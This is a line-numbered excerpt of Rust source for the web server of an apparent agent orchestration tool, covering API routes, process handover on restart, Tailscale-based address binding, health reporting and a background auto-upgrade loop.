1418 .route("/api/health", get(health))
1419 .route("/api/references", post(id_links::resolve_text))
1420 .route("/api/loop", get(loop_get).post(loop_post))
1421 .route("/api/upgrade", post(upgrade_post))
1422 .route("/api/runs", get(runs_list))
1423 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1424 .route("/api/runs/{id}/core", get(run_core))
1425 .route("/api/runs/{id}/report", get(run_report))
1426 .route("/api/runs/{id}/report.json", get(run_report_json))
1427 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1428 .route("/api/runs/{id}/fold", post(run_fold))
1429 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1430 .route("/api/runs/{id}/resume", post(run_resume))
1431 .route("/api/queue", get(queue_list))
1432 .route("/api/queue/page", get(queue_page))
1433 .route("/api/search", get(search_get))
1434 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1435 .route("/api/queue/{id}/core", get(task_core))
1436 .route("/api/stats", get(stats_get))
1437 .route("/api/stats/queue", get(stats_queue))
1438 .route("/api/repos", get(repos_list))
1439 .route("/api/settings", get(settings_get))
1440 .route("/api/settings/roles", put(settings_put_roles))
1441 .route("/api/queue/{id}/hold", post(queue_hold))
1442 .route("/api/queue/{id}/release", post(queue_release))
1443 .route("/api/queue/{id}/priority", post(queue_priority))
1444 .route("/api/queue/{id}/urgent", post(queue_urgent))
1445 .route("/api/queue/{id}/implementers", post(queue_implementers))
1446 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1447 .route("/api/queue/{id}/edit", post(queue_edit))
1448 .route("/api/queue/{id}/done", post(queue_done))
1449 .route("/api/questions", get(questions_list))
1450 .route("/api/questions/core", get(questions_core))
1451 .route("/api/questions/origins", get(question_origins))
1452 .route("/api/questions/{id}/answer", post(question_answer))
1453 .route("/api/questions/{id}/say", post(question_say))
1454 .route("/api/questions/{id}/consult", post(question_consult))
1455 .route("/api/questions/{id}/panel", get(question_panel))
1456 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1464 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1465 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1466 .route("/api/notifications", get(notifications_list))
1467 .route("/api/notifications/read-all", post(notifications_read_all))
1468 .route("/api/notifications/{id}/read", post(notification_read))
1469 .route(
1470 "/api/notifications/{id}/dismiss",
1471 post(notification_dismiss),
1472 )
1473 .route("/api/talks", get(talks_list).post(talk_post))
1474 .route("/api/talks/page", get(talks_page))
1475 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1476 .route("/api/talks/{id}/core", get(talk_core))
1477 .route("/api/talks/{id}/sections", get(talk_sections))
1478 .route("/api/talks/{id}/say", post(talk_say))
1479 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1480 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1481 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1482 .route("/api/talks/{id}/agent", post(talk_agent))
1483 .route("/api/talks/{id}/persona", post(talk_persona))
1484 .route("/api/talks/{id}/implementers", post(talk_implementers))
1485 .route("/api/talks/{id}/close", post(talk_close))
1486 .route("/api/talks/{id}/reopen", post(talk_reopen))
1487 .route(
1493 "/api/talks/{id}/attachments",
1494 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1495 )
1496 .route(
1497 "/api/talks/{id}/attachments/{att}",
1498 get(talk_attachment_get),
1499 )
1500 .route("/api/talks/{id}/avatar", get(talk_avatar))
1501 .route("/avatars/operator.svg", get(operator_avatar))
1502 .route(
1503 "/api/avatar-settings",
1504 get(avatar_settings_get)
1505 .put(avatar_settings_put)
1506 .delete(avatar_settings_delete),
1507 )
1508 .route("/avatars/persona", get(settings_persona_avatar))
1509 .route("/avatars/magi", get(magi_avatar))
1510 .route(
1511 "/api/magi-icon",
1512 get(magi_icon_get)
1513 .put(magi_icon_put)
1514 .delete(magi_icon_delete),
1515 )
1516 .route("/api/events", get(events))
1517 .with_state(self)
1518 }
1519}
1520
1521#[derive(Debug)]
1527struct TalkTurnGuard {
1528 talk: String,
1529 turns: Arc<Mutex<TalkTurns>>,
1530 released: bool,
1531 lease: Option<crate::talk::TurnLease>,
1533}
1534
1535#[derive(Debug, Default)]
1542struct TalkTurns {
1543 live: HashSet<String>,
1544 queued: HashMap<String, u64>,
1545}
1546
1547enum TalkTurnStart {
1550 Claimed(TalkTurnGuard),
1551 Busy,
1552 Foreign,
1555 Pending,
1556}
1557
1558impl TalkTurnGuard {
1559 #[cfg(test)]
1560 fn owns(&self) -> bool {
1564 self.lease
1565 .as_ref()
1566 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1567 }
1568
1569 #[cfg(test)]
1570 async fn respond(
1573 &self,
1574 talk: &mut Talk,
1575 talks: &Talks,
1576 cfg: &Config,
1577 text: &str,
1578 ) -> anyhow::Result<()> {
1579 let lease = self
1580 .lease
1581 .as_ref()
1582 .context("the turn guard no longer holds its lease")?;
1583 talk::respond(lease, talk, talks, cfg, text).await
1584 }
1585
1586 fn release(mut self, live: &mut TalkTurns) {
1589 self.lease = None;
1593 live.live.remove(&self.talk);
1594 live.queued.remove(&self.talk);
1595 self.released = true;
1596 }
1597}
1598
1599impl Drop for TalkTurnGuard {
1600 fn drop(&mut self) {
1601 if self.released {
1602 return;
1603 }
1604 drop(self.lease.take());
1606 if let Ok(mut live) = self.turns.lock() {
1607 live.live.remove(&self.talk);
1608 live.queued.remove(&self.talk);
1609 }
1610 }
1611}
1612
1613struct ResumeGuard {
1615 run: String,
1616 resuming: Arc<Mutex<HashSet<String>>>,
1617}
1618
1619impl Drop for ResumeGuard {
1620 fn drop(&mut self) {
1621 if let Ok(mut live) = self.resuming.lock() {
1622 live.remove(&self.run);
1623 }
1624 }
1625}
1626
1627async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1637 const WINDOW: Duration = Duration::from_secs(10);
1638 const GAP: Duration = Duration::from_millis(250);
1639
1640 let deadline = std::time::Instant::now() + WINDOW;
1641 let mut said = false;
1642 loop {
1643 match tokio::net::TcpListener::bind(socket).await {
1644 Ok(listener) => return Ok(listener),
1645 Err(e)
1646 if e.kind() == std::io::ErrorKind::AddrInUse
1647 && std::time::Instant::now() < deadline =>
1648 {
1649 if !said {
1650 said = true;
1651 tracing::info!(
1652 "{socket} is still held - waiting up to {}s for it, \
1653 which is what a restart looks like from here",
1654 WINDOW.as_secs()
1655 );
1656 }
1657 tokio::time::sleep(GAP).await;
1658 }
1659 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1660 }
1661 }
1662}
1663
1664static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1667
1668const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1670const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1672
1673fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1675 value.is_some_and(|v| v == "1")
1676}
1677
1678fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1697 let args: Vec<String> = std::env::args().skip(1).collect();
1698 updater::log_step(
1699 home,
1700 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1701 );
1702 let log_path = home.join(WEB_LOG);
1703 let open_log = || {
1704 std::fs::create_dir_all(home)?;
1705 std::fs::OpenOptions::new()
1706 .create(true)
1707 .append(true)
1708 .open(&log_path)
1709 };
1710 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1711 Ok(pair) => (
1712 std::process::Stdio::from(pair.0),
1713 std::process::Stdio::from(pair.1),
1714 ),
1715 Err(e) => {
1716 updater::log_warn(
1717 home,
1718 &format!(
1719 "could not open {}: {e}; the successor logs nowhere",
1720 log_path.display()
1721 ),
1722 );
1723 (std::process::Stdio::null(), std::process::Stdio::null())
1724 }
1725 };
1726
1727 let mut cmd = std::process::Command::new(exe);
1728 cmd.env_remove(RESUME_LOOP_ENV);
1729 cmd.env(RESTART_PORT_ENV, port.to_string());
1730 cmd.args(&args)
1731 .stdin(std::process::Stdio::null())
1732 .stdout(out)
1733 .stderr(err);
1734 #[cfg(windows)]
1735 {
1736 use std::os::windows::process::CommandExt as _;
1737 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1740 }
1741 let child = cmd.spawn().context("start the successor")?;
1742 Ok(child.id())
1743}
1744
1745const WEB_LOG: &str = "web.log";
1747
1748async fn wait_for_handover(signal: &Notify) {
1752 signal.notified().await;
1753}
1754
1755pub async fn serve(opts: Opts) -> Result<()> {
1758 crate::worker::remember_current_executable()?;
1761 let executable = std::env::current_exe().context("find the installed web executable")?;
1762 let (addr, warning) = resolve_bind(&opts.bind);
1763 if let Some(warning) = warning {
1764 tracing::warn!("{warning}");
1765 }
1766
1767 report::set_color(false);
1773
1774 let repo = normalize_default_repo(opts.repo).await;
1775 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1776 let home = ui.home.clone();
1778 let admissions = Arc::clone(&ui.admissions);
1779 updater::reconcile_after_restart(&home);
1784 updater::log_step(
1785 &home,
1786 &format!(
1787 "web process started (version {}); handover log {}, successor output {}",
1788 env!("CARGO_PKG_VERSION"),
1789 updater::log_path(&home).display(),
1790 home.join(WEB_LOG).display()
1791 ),
1792 );
1793 updater::spawn_watchdog(home.clone());
1794 let port = if opts.port == 0 {
1802 std::env::var(RESTART_PORT_ENV)
1803 .ok()
1804 .and_then(|value| value.parse::<u16>().ok())
1805 .filter(|port| *port != 0)
1806 .unwrap_or(0)
1807 } else {
1808 opts.port
1809 };
1810 let socket = SocketAddr::new(addr, port);
1811 let listener = bind_waiting(socket).await?;
1812 let bound = listener.local_addr().context("read bound web address")?;
1813 let port = bound.port();
1814 let url = format!("http://{bound}");
1815 tracing::info!(
1816 "magi web UI on {url} - there is no authentication, so anyone who can \
1817 reach this address can file and hold tasks: the tailnet is the \
1818 security boundary"
1819 );
1820 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1822 ui.start_detached_loop()
1823 .await
1824 .map_err(|e| anyhow::anyhow!(e.message))?;
1825 }
1826 if opts.open {
1827 println!("{url}");
1831 }
1832
1833 let recheck_ui = ui.clone();
1836 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1837 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1838 let interrupted = async {
1839 if tokio::signal::ctrl_c().await.is_err() {
1840 std::future::pending::<()>().await;
1845 }
1846 };
1847 let handover = wait_for_handover(&HANDOVER);
1848 let outcome = tokio::select! {
1849 joined = &mut served => match joined {
1850 Ok(outcome) => outcome.context("serve the web UI"),
1851 Err(e) => Err(e).context("the task serving the web UI ended"),
1852 },
1853 () = interrupted => {
1854 recheck.abort();
1855 tracing::info!("shutting down the web UI; detached workers continue");
1856 close_admissions(&admissions).await;
1857 served.abort();
1858 let _ = served.await;
1859 Ok(())
1860 }
1861 () = handover => {
1862 recheck.abort();
1863 let successor_home = home.clone();
1864 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1865 }
1866 };
1867 recheck.abort();
1868 let _ = recheck.await;
1869 updater::log_step(
1870 &home,
1871 &match &outcome {
1872 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1873 Err(e) => format!("serve: returning an error: {e:#}"),
1874 },
1875 );
1876 outcome
1877}
1878
1879async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1900 if repo != FsPath::new(".") {
1901 return repo;
1902 }
1903 let Ok(canonical) = repo.canonicalize() else {
1904 return repo;
1905 };
1906 if git::toplevel(&canonical).await.is_ok() {
1907 return repo;
1908 }
1909 let Some(home) = dirs::home_dir() else {
1910 return repo;
1911 };
1912 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1913 Some(found) => {
1914 tracing::info!(
1915 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1916 canonical.display(),
1917 found.path.display(),
1918 found.reason,
1919 );
1920 found.path
1921 }
1922 None => repo,
1923 }
1924}
1925
1926async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1929 *admissions.write().await = true;
1930}
1931
1932async fn hand_over(
1935 home: &FsPath,
1936 admissions: &tokio::sync::RwLock<bool>,
1937 served: tokio::task::JoinHandle<std::io::Result<()>>,
1938 successor: impl FnOnce() -> Result<u32>,
1939) -> Result<()> {
1940 close_admissions(admissions).await;
1941 if let Some(mut progress) = updater::read_progress(home) {
1942 progress.advance(updater::Stage::Restarting);
1943 progress.detail =
1944 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1945 updater::write_progress_logged(home, &progress);
1946 }
1947 updater::log_step(
1948 home,
1949 "restarting scheduler without parking execution workers",
1950 );
1951 let scheduler = daemon::restart_detached(home).await;
1952 if let Err(error) = &scheduler {
1953 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
1954 updater::log_warn(
1955 home,
1956 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
1957 );
1958 }
1959 updater::log_step(home, "releasing the web listener");
1960 served.abort();
1961 let _ = served.await;
1962 updater::log_step(home, "web listener released; starting the successor");
1963 match successor() {
1964 Ok(pid) => {
1965 updater::log_step(home, &format!("successor started, pid {pid}"));
1966 scheduler
1967 }
1968 Err(e) => {
1969 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
1970 Err(e)
1971 }
1972 }
1973}
1974
1975pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1981 match bind {
1982 Bind::Addr(addr) => (*addr, None),
1983 Bind::Auto => match tailscale_ip() {
1984 Ok(ip) => (IpAddr::V4(ip), None),
1985 Err(why) => (
1986 IpAddr::V4(Ipv4Addr::LOCALHOST),
1987 Some(format!(
1988 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1989 local-only and a phone cannot reach it; start Tailscale \
1990 or pass --bind <addr>"
1991 )),
1992 ),
1993 },
1994 }
1995}
1996
1997fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2005 let out = std::process::Command::new("tailscale")
2006 .args(["ip", "-4"])
2007 .quiet()
2008 .output()
2009 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2010 if !out.status.success() {
2011 let why = String::from_utf8_lossy(&out.stderr);
2012 let why = why.trim();
2013 return Err(format!(
2014 "`tailscale ip -4` failed ({}){}",
2015 out.status,
2016 if why.is_empty() {
2017 String::new()
2018 } else {
2019 format!(": {why}")
2020 }
2021 ));
2022 }
2023 String::from_utf8_lossy(&out.stdout)
2024 .lines()
2025 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2026 .find(is_tailnet)
2027 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2028}
2029
2030fn is_tailnet(ip: &Ipv4Addr) -> bool {
2032 let o = ip.octets();
2033 o[0] == 100 && (64..=127).contains(&o[1])
2034}
2035
2036type ApiResult<T> = std::result::Result<T, ApiError>;
2040
2041#[derive(Debug)]
2043struct ApiError {
2044 status: StatusCode,
2045 message: String,
2046 text_reason: Option<crate::question_delivery::UnavailableReason>,
2047}
2048
2049impl ApiError {
2050 fn bad_request(message: impl Into<String>) -> Self {
2052 Self {
2053 text_reason: None,
2054 status: StatusCode::BAD_REQUEST,
2055 message: message.into(),
2056 }
2057 }
2058
2059 fn not_found(message: impl Into<String>) -> Self {
2061 Self {
2062 text_reason: None,
2063 status: StatusCode::NOT_FOUND,
2064 message: message.into(),
2065 }
2066 }
2067
2068 fn with_status(mut self, status: StatusCode) -> Self {
2071 self.status = status;
2072 self
2073 }
2074
2075 fn bad_request_from(e: anyhow::Error) -> Self {
2079 Self::bad_request(format!("{e:#}"))
2080 }
2081
2082 fn conflict(message: impl Into<String>) -> Self {
2083 Self {
2084 text_reason: None,
2085 status: StatusCode::CONFLICT,
2086 message: message.into(),
2087 }
2088 }
2089
2090 fn internal(message: impl Into<String>) -> Self {
2092 Self {
2093 text_reason: None,
2094 status: StatusCode::INTERNAL_SERVER_ERROR,
2095 message: message.into(),
2096 }
2097 }
2098}
2099
2100impl From<anyhow::Error> for ApiError {
2101 fn from(e: anyhow::Error) -> Self {
2106 Self::internal(format!("{e:#}"))
2107 }
2108}
2109
2110impl IntoResponse for ApiError {
2111 fn into_response(self) -> Response {
2112 let mut body = serde_json::json!({ "error": self.message });
2113 if let Some(reason) = self.text_reason {
2114 body["code"] = serde_json::json!("question_text_unavailable");
2115 body["reason"] = serde_json::json!(reason);
2116 }
2117 (self.status, Json(body)).into_response()
2118 }
2119}
2120
2121async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2130where
2131 T: Send + 'static,
2132{
2133 #[cfg(test)]
2134 let job = request_cost::carry(job);
2135 match tokio::task::spawn_blocking(job).await {
2136 Ok(result) => result,
2137 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2138 }
2139}
2140
2141const ASSET_CACHE: &str = "no-cache, must-revalidate";
2159
2160fn asset_etag() -> &'static str {
2167 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2168 format!(
2169 "\"{}-{}\"",
2170 env!("CARGO_PKG_VERSION"),
2171 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2176 )
2177 });
2178 &TAG
2179}
2180
2181fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2183 [
2184 (header::CONTENT_TYPE, mime),
2185 (header::CACHE_CONTROL, ASSET_CACHE),
2186 (header::ETAG, asset_etag()),
2187 ]
2188}
2189
2190fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2198 let tag = asset_etag();
2199 let known = headers
2200 .get(header::IF_NONE_MATCH)
2201 .and_then(|v| v.to_str().ok())
2202 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2206 if known {
2207 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2208 }
2209 (asset_headers(mime), body).into_response()
2210}
2211
2212async fn index(headers: header::HeaderMap) -> Response {
2213 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2214}
2215
2216async fn app_css(headers: header::HeaderMap) -> Response {
2217 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2218}
2219
2220async fn app_js(headers: header::HeaderMap) -> Response {
2221 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2222}
2223
2224#[derive(Debug, Serialize)]
2226struct HealthView {
2227 version: &'static str,
2228 home: String,
2229 queue_rev: u64,
2230 runs_rev: u64,
2231 questions_rev: u64,
2243 talks_rev: u64,
2245 notifications_rev: u64,
2247 notifications_unread: usize,
2250 loop_rev: u64,
2255 runs_unreadable: usize,
2263 disk: DiskView,
2271 questions_open: usize,
2277 questions_needs_owner: usize,
2287 daemon: DaemonView,
2288 #[serde(rename = "loop")]
2294 looping: LoopView,
2295 update: UpdateView,
2302 upgrade: Option<UpgradeProgressView>,
2306 jobs: Vec<WorkerView>,
2309 upgrade_request_error: Option<UpgradeRequestFailure>,
2310}
2311
2312#[derive(Debug, Serialize)]
2315struct WorkerView {
2316 id: String,
2317 kind: String,
2318 key: String,
2319 pid: Option<u32>,
2320 status: crate::worker::Status,
2321 generation: String,
2322 version: Option<String>,
2323 queue_owned: bool,
2324}
2325
2326impl From<crate::worker::Job> for WorkerView {
2327 fn from(job: crate::worker::Job) -> Self {
2328 let queue_owned = job.kind == "task"
2329 && job
2330 .payload
2331 .get("standalone")
2332 .and_then(serde_json::Value::as_bool)
2333 != Some(true);
2334 Self {
2335 id: job.id,
2336 kind: job.kind,
2337 key: job.key,
2338 pid: job.pid,
2339 status: job.status,
2340 generation: job.generation,
2341 version: job.version,
2342 queue_owned,
2343 }
2344 }
2345}
2346
2347#[derive(Debug, Serialize)]
2354struct UpdateView {
2355 available: bool,
2357 to: Option<String>,
2359}
2360
2361#[derive(Debug, Serialize)]
2363struct UpgradeProgressView {
2364 trigger: updater::UpgradeTrigger,
2365 stage: updater::Stage,
2366 from: String,
2367 to: Option<String>,
2368 waiting_on: Option<String>,
2371 started_at: Timestamp,
2372 updated_at: Timestamp,
2373 detail: Option<String>,
2374 stuck_for_secs: Option<i64>,
2377 stuck_kind: Option<updater::StallKind>,
2380 handover_alive: bool,
2383}
2384
2385fn should_spawn_recheck(cfg: &Update) -> bool {
2392 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2393}
2394
2395fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2407 if progress.is_some_and(|p| !p.stage.terminal()) {
2408 return false;
2409 }
2410 checker.should_check()
2411}
2412
2413fn recheck_poll_period(cfg: &Update) -> Duration {
2426 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2427}
2428
2429#[derive(Debug, PartialEq, Eq)]
2430enum AutoUpgradeDecision {
2431 Skip(&'static str),
2432 Wait,
2433 Trigger,
2434}
2435
2436fn auto_upgrade_decision(
2437 cfg: &Update,
2438 disabled: bool,
2439 in_motion: bool,
2440 busy: bool,
2441 tag: &str,
2442 failed: Option<&str>,
2443) -> AutoUpgradeDecision {
2444 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2445 AutoUpgradeDecision::Skip("disabled")
2446 } else if in_motion {
2447 AutoUpgradeDecision::Skip("upgrade already in progress")
2448 } else if failed == Some(tag) {
2449 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2450 } else if busy {
2451 AutoUpgradeDecision::Wait
2452 } else {
2453 AutoUpgradeDecision::Trigger
2454 }
2455}
2456
2457async fn run_update_recheck(ui: Arc<Ui>) {
2459 loop {
2460 let cfg = match Config::discover(&ui.repo, None) {
2461 Ok((cfg, _)) => cfg,
2462 Err(e) => {
2463 updater::log_warn(
2464 &ui.home,
2465 &format!("auto-upgrade: config unavailable: {e:#}"),
2466 );
2467 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2468 continue;
2469 }
2470 };
2471 if should_spawn_recheck(&cfg.update)
2472 && let Some(checker) = updater::Checker::new(&cfg.update)
2473 {
2474 let progress = updater::read_progress(&ui.home);
2475 let mut latest = checker.cached_update();
2476 if update_recheck_due(&checker, progress.as_ref()) {
2477 match checker.newer_release().await {
2478 Ok(found) => latest = found,
2479 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2480 }
2481 }
2482 if cfg.update.auto_restart
2483 && let Some(latest) = latest
2484 {
2485 let response =
2486 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2487 updater::log_step(
2488 &ui.home,
2489 &format!("auto-upgrade: request status {}", response.status()),
2490 );
2491 }
2492 }
2493 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2494 }
2495}
2496
2497fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2503 let default;
2504 let cfg = match cfg {
2505 Some(cfg) => cfg,
2506 None => {
2507 default = Config::default();
2508 &default
2509 }
2510 };
2511 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2512 match latest {
2513 Some(latest) => UpdateView {
2514 available: true,
2515 to: Some(latest.tag_name),
2516 },
2517 None => UpdateView {
2518 available: false,
2519 to: None,
2520 },
2521 }
2522}
2523
2524fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2530 let now = Timestamp::now();
2531 let lease = updater::read_lease(&ui.home);
2532 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2533 let run_id = alive
2534 .and_then(|l| l.parked_run.as_deref())
2535 .or(progress.parked_run.as_deref());
2536 let parking = progress.stage == updater::Stage::Parking;
2537 let waited = alive.map_or_else(String::new, |l| {
2538 let secs = updater::waited_secs(l, now);
2539 format!(" (waited {} min so far)", secs / 60)
2540 });
2541 let run_text = run_id
2542 .filter(|_| parking)
2543 .map(|id| match read_run(&ui.runs, id).ok() {
2544 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2545 None => format!("run {id} is finishing"),
2546 });
2547 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2548 .filter(|t| parking && !t.is_empty())
2549 .map(|t| format!("{t} finishing"));
2550 let waiting_on = match (run_text, talks_text) {
2551 (None, None) => None,
2552 (run, talks) => {
2553 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2554 Some(format!(
2555 "{} before the address is handed over{waited}",
2556 parts.join(" and ")
2557 ))
2558 }
2559 };
2560 let detail = progress
2561 .detail
2562 .clone()
2563 .or_else(|| updater::read_note(&ui.home, &progress));
2564 let stalled = updater::stall(&progress, lease.as_ref(), now);
2565 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2566 UpgradeProgressView {
2567 trigger: progress.trigger,
2568 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2569 stuck_kind: stalled.map(|s| s.kind),
2570 handover_alive: alive.is_some(),
2571 stage: progress.stage,
2572 from: progress.from,
2573 to: progress.to,
2574 waiting_on,
2575 started_at: progress.started_at,
2576 updated_at: progress.updated_at,
2577 detail,
2578 }
2579}
2580
2581#[derive(Debug, Serialize)]
2586struct DiskView {
2587 #[serde(skip_serializing_if = "Option::is_none")]
2589 free_bytes: Option<u64>,
2590 runs_bytes: u64,
2592 worktrees_bytes: u64,
2594 #[serde(skip_serializing_if = "Option::is_none")]
2596 cache_bytes: Option<u64>,
2597 retention: Option<crate::retention::Report>,
2599}
2600
2601impl DiskView {
2602 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2604 let cache_bytes = cfg
2605 .and_then(|cfg| cfg.cache_dir())
2606 .map(|dir| crate::disk::dir_size(&dir));
2607 Self {
2608 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2609 runs_bytes: crate::disk::dir_size(&ui.runs),
2610 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2611 cache_bytes,
2612 retention: ui
2613 .runs
2614 .parent()
2615 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2616 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2617 }
2618 }
2619}
2620
2621#[derive(Debug, Serialize)]
2623struct DaemonView {
2624 running: bool,
2625 idle: Option<bool>,
2626 pid: Option<u32>,
2627 current: Vec<daemon::Current>,
2631 completed: Option<u64>,
2632 stale_for_secs: Option<i64>,
2633}
2634
2635impl DaemonView {
2636 fn of(status: Option<daemon::Reading>) -> Self {
2640 let Some(status) = status else {
2641 return Self {
2642 running: false,
2643 idle: None,
2644 pid: None,
2645 current: Vec::new(),
2646 completed: None,
2647 stale_for_secs: None,
2648 };
2649 };
2650 let now = Timestamp::now();
2651 let age = status.age_secs(now);
2652 Self {
2653 running: status.running(now),
2654 idle: Some(status.idle),
2655 pid: status.pid,
2656 current: status.current,
2657 completed: Some(status.completed),
2658 stale_for_secs: age,
2659 }
2660 }
2661}
2662
2663async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2664 let revisions = ui.monitor.revisions(&ui).await?;
2665 blocking(move || {
2666 let reading = daemon::read_status(&ui.home);
2670 let loop_rev = ui.lock_loop().rev;
2674 let cfg = deputy_config(&ui.repo);
2677 let update = cached_update_view(cfg.as_ref());
2678 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2679 let questions = ui.questions.list();
2680 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
2681 #[cfg(not(test))]
2682 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
2683 #[cfg(test)]
2684 let looping = ui.loop_view(reading.clone());
2685 Ok(Json(HealthView {
2686 jobs: jobs.into_iter().map(WorkerView::from).collect(),
2687 version: env!("CARGO_PKG_VERSION"),
2688 home: ui.home.display().to_string(),
2689 queue_rev: revisions.0,
2690 runs_rev: revisions.1,
2691 questions_rev: revisions.2,
2692 talks_rev: revisions.3,
2693 notifications_rev: stamps_revision(
2694 &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2695 ),
2696 notifications_unread: ui.notices.count_unread(),
2697 loop_rev,
2698 runs_unreadable: runs_unreadable(&ui.runs),
2699 questions_open: questions.iter().filter(|q| q.status.open()).count(),
2700 questions_needs_owner: questions
2701 .iter()
2702 .filter(|q| {
2703 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2704 })
2705 .count(),
2706 daemon: DaemonView::of(reading),
2707 looping,
2708 disk: DiskView::of(&ui, cfg.as_ref()),
2709 update,
2710 upgrade,
2711 upgrade_request_error: ui
2712 .upgrade_request_error
2713 .lock()
2714 .unwrap_or_else(PoisonError::into_inner)
2715 .clone(),
2716 }))
2717 })
2718 .await
2719}
2720
2721#[derive(Debug, Serialize)]
2723struct LoopView {
2724 running: bool,
2726 stopping: bool,
2728 parking: bool,
2730 owned: bool,
2732 repo: String,
2735 merge: Option<String>,
2738 last_error: Option<String>,
2746 daemon: DaemonView,
2749}
2750
2751#[derive(Debug, Clone, Copy)]
2756struct Foreign {
2757 pid: Option<u32>,
2759}
2760
2761impl Foreign {
2762 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2765 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
2769 return None;
2770 }
2771 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2772 }
2773
2774 fn who(&self) -> String {
2777 match self.pid {
2778 Some(pid) => format!("another magi process (pid {pid})"),
2779 None => "another magi process".to_owned(),
2780 }
2781 }
2782}
2783
2784type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2789
2790#[cfg(test)]
